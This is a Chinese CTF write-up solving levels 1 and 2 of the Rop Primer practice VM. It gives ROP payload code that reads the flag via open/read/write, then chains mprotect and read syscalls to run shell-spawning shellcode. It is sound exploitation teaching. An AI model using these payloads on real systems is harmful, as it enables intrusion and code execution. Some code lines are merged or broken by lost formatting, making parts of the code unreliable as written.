Pwn靶机实战——Rop Primer入门ROP

0x00 前言

大家好，最近在复习关于Linux Pwn的相关知识。偶然间看到大佬的文章，讲解了关于Rop Primer靶机中 level0 的解题流程，发现此靶机还有 level1 和 level2 两个练习，本着求知若渴的学习态度，研究了一下这两个练习，希望跟大家共同学习提高。

0x01 Rop上手：顺藤摸瓜的 level1

0x00 文件分析

首先，根据题目提示，以账号level1和密码shodan登录靶机，查看到文件flag和level1相关信息。

level1 为动态链接的32位程序，开启了NX保护。

上来直接运行 level 程序，发现一直提示 error bind()ing ，ltrace看一下发现 bind 一直返回 -1，说明地址绑定不成功。

查看一下本地的端口和进程信息，发现8888端口一直处于监听状态，且属于level2用户。

直接nc过去，猜测该端口上运行着一个属于 level2 用户的 level1 程序。

再来看题目本身，通过题目的说明，根据程序源代码找到漏洞点：漏洞产生的原因为对 char filename[32] 执行了以下操作，而变量 filesize 由用户输入，因此会造成溢出。

出题者提示通过 level1 二进制文件中的 open/read/write 函数来拿到flag。顺藤摸瓜，这里很自然想到处理流程为

1. 计算偏移量，溢出
2. 执行open，打开flag文件
3. read读取flag文件内容
4. write将flag写出

0x01 Rop准备工作

计算溢出偏移量，通过gdb调试，算得其偏移量为 64 字节

（注：此处如果通过ida查看到 filename 处于 ebp – 0x3c 的位置，推算要控制的 eip 偏移为 0x3c+4=44 个字节，是不准确的。）

继续下面的工作，首先找到 level1 plt 表中的 open/read/write 的地址：

然后，找到 level1 中的 flag字符串：

最后，收集 level1 中的 gadget：

至此，完成rop准备工作，各变量如下：

open_addr     = 0x80486d0
read_addr     = 0x8048640
write_addr    = 0x8048700
flag_addr     = 0x8049128
pop3_ret_addr = 0x08048ef6
pop2_ret_addr = 0x08048ef7
buf_addr     = 0x0804a000

0x02 布局payload拿flag

open/read/write 函数的执行流程如下：

open("flag",0)
read(file_fd,buf_addr,0x80)
write(socket_fd,buf_addr,0x80)

做到这里，小小的困惑了一下，Unix/Linux的一种重要思想就是一切皆文件，而这里的 file_fd 和 socket_fd 数值应该是多少？既然不清楚，那就跟踪调试看一下。这里直接上 strace 工具，从下图可以观察到 file_descriptor 数值为 3 ， socket_descriptor 数值为 4 .

接着布局payload如下：

# open("flag",0)
payload = "A"*64 
payload += p32(open_addr)
payload += p32(pop2_ret_addr)
payload += p32(flag_addr)
payload += p32(0)
# read(file_fd,buf_addr,0x80)
payload += p32(read_addr)
payload += p32(pop3_ret_addr)
payload += p32(3)
 # file_fd
 payload += p32(buf_addr)
payload += p32(0x80)
# write(socket_fd,buf_addr，0x80)
payload += p32(write_addr)
payload += "BBBB"payload += p32(4)
 # socket_fd
 payload += p32(buf_addr)
payload += p32(0x80)

最后，通过交互，成功拿到flag。

p = remote("192.168.88.135",8888)
p.recvuntil("> ")
p.sendline("store")
p.recvuntil("> ")
p.sendline(str(len(payload)+1))
p.recvuntil("> ")
p.sendline("payload")
p.recvuntil("> ")
p.sendline(payload)
print p.recvline()

0x02 Rop提高:no null byte 的 level2

0x00 文件分析

同理，以 level2 和 tryharder 登录靶机，

查看文件信息。level2 为静态链接文件，开了NX保护。

查看题目说明，显然 strcpy 操作会导致变量 name 溢出，gdb调试查看溢出偏移为 44 个字节。

此题需要注意的是，由于是 strcpy 函数，在拷贝时会以 0x00 字节为结束符。这就提示我们，当我们打入的 payload 中间含有 0x00 字符时，其后的 payload 则不会顺利拷贝，从而导致无法正常执行获取shell 。

解题思路：参考大佬的文章中解 level0 的mprotect和read相配合的思想。

1. 修改数据段权限
2. 读入精心构造的shell，
3. 跳转到shell处执行。

注意，由于 0x00 的约束，level0直接调用函数的解题方式无法奏效，因此此题采用系统调用（int 0x80）的方式来实现第一步和第二步的操作。根据提示，我们可以通过 ropshell网站 来搜索二进制文件内我们所需的gadget。

0x01 sys_mprotect 修改 .data 权限

查看 sys_mprotect 信息

由此，我们要布局的 payload 应完成如下的功能

edx = 0x7ecx = 0x40ebx = 0x80ca000eax = 0x7d

实现 edx=0x7 的思想：在栈上放 0xffffffff，而后 pop edx，再通过8次 inc edx即可。

网站查询到所需的gadget如下：

实现 edx=0x7 的payload布局如下：

payload1 += pack(0x0000a476)
 #pop edx ; ret
 payload1 += p32(0xffffffff) 
payload1 += pack(0x00006da1)
 #inc edx; add al, 0x83; ret
 payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)

实现 ecx=0x40 的思想同上即可。所需的gadget信息如下：

实现 ecx=0x40 的payload布局如下：

payload1 += pack(0x0000a49d)# pop ecx; pop ebx; retpayload1 += p32(0xffffffff) # ecxpayload1 += p32(0x80ca001)  # 0x804a000+1 -> ebxpayload1 += pack(0x000806db) #inc ecx; retpayload1 += pack(0x000806db) 
payload1 += pack(0x0004fd5a) #add ecx, ecx; retpayload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)

为实现ebx = 0x80ca000的操作，上述gadget已完成 0x80ca001 pop -> ebx ,只需再执行一次下面的gadget即可：

payload1 += pack(0x00007871) #dec ebx; ret

实现 eax=0x7d 同样可利用 pop ; inc ; dec 组合操作实现

payload1 += pack(0x000601d6)
 #pop eax; ret
 payload1 += p32(0xffffffff)
payload1 += pack(0x0002321e)
 #add eax, ecx; ret
 payload1 += pack(0x0002321e) 
payload1 += pack(0x000600c6)
 #dec eax; ret
 payload1 += pack(0x000600c6)

至此，通过 int 0x80 即可实现 sys_mprotect 操作。

0x02 sys_read 实现读取 shellcode

整体流程同上，首先查看 sys_read 信息，

由此，我们要布局的 payload 应完成如下的功能

edx = 0x01010101 # not 
0x00ecx = 0x80ca000
ebx = 0
eax = 0x3

利用ropshell网站查询所需gadget，整体流程同 0x02章节，在此不再赘述。payload布局如下：

#2-1 edx <- 0x01010101payload1 += p32(0x08052476) #pop edx ;
 retpayload1 += p32(0x01010101) 

#2-2 ecx <- 0x080ca000
payload1 += pack(0x0000a49d)
 # pop ecx; pop ebx; ret
payload1 += p32(0x80ca001)
payload1 += p32(0xffffffff)
payload1 += pack(0x000008e9) 
# dec ecx; ret
#2-3 ebx <- 0
payload1 += pack(0x000806d1) 
# inc ebx; ret
#2-4 eax <- 0x3
payload1 += pack(0x000601d6) 
# pop eax; ret
payload1 += p32(0xffffffff)
payload1 += pack(0x000222ef)
 # inc eax; ret
payload1 += pack(0x000222ef)
payload1 += pack(0x000222ef)
payload1 += pack(0x000222ef)

payload1 += pack(0x0000aba0) # int 0x80; ret

0x03 跳转到shellcode 执行拿flag

上述两步执行完成后，读取shellcode存储在 0x80ca000 处，即 sys_read 执行完的 ecx 地址处，因此在 payload 的最后，加上如下gadget即可。

payload1 += pack(0x0005e42c) # jmp ecx

payload 保存到 payload.txt。

shellcode 直接通过 pwntools 的 asm(shellcraft.i386.linux.sh()) 直接生成，保存到shellcode.txt。

成功溢出获得shell，拿到flag.

0x04 结束语

对pwn靶机的练习，回顾了一下rop的几种操作。当然，复杂的情况还有很多，针对具体问题也要具体分析，但总之，掌握了其核心关键的知识要点，复杂的情况只要耐心细致地分析即可。以后会继续给大家带来。
祝大家学习工作顺利，盼和大家共同进步。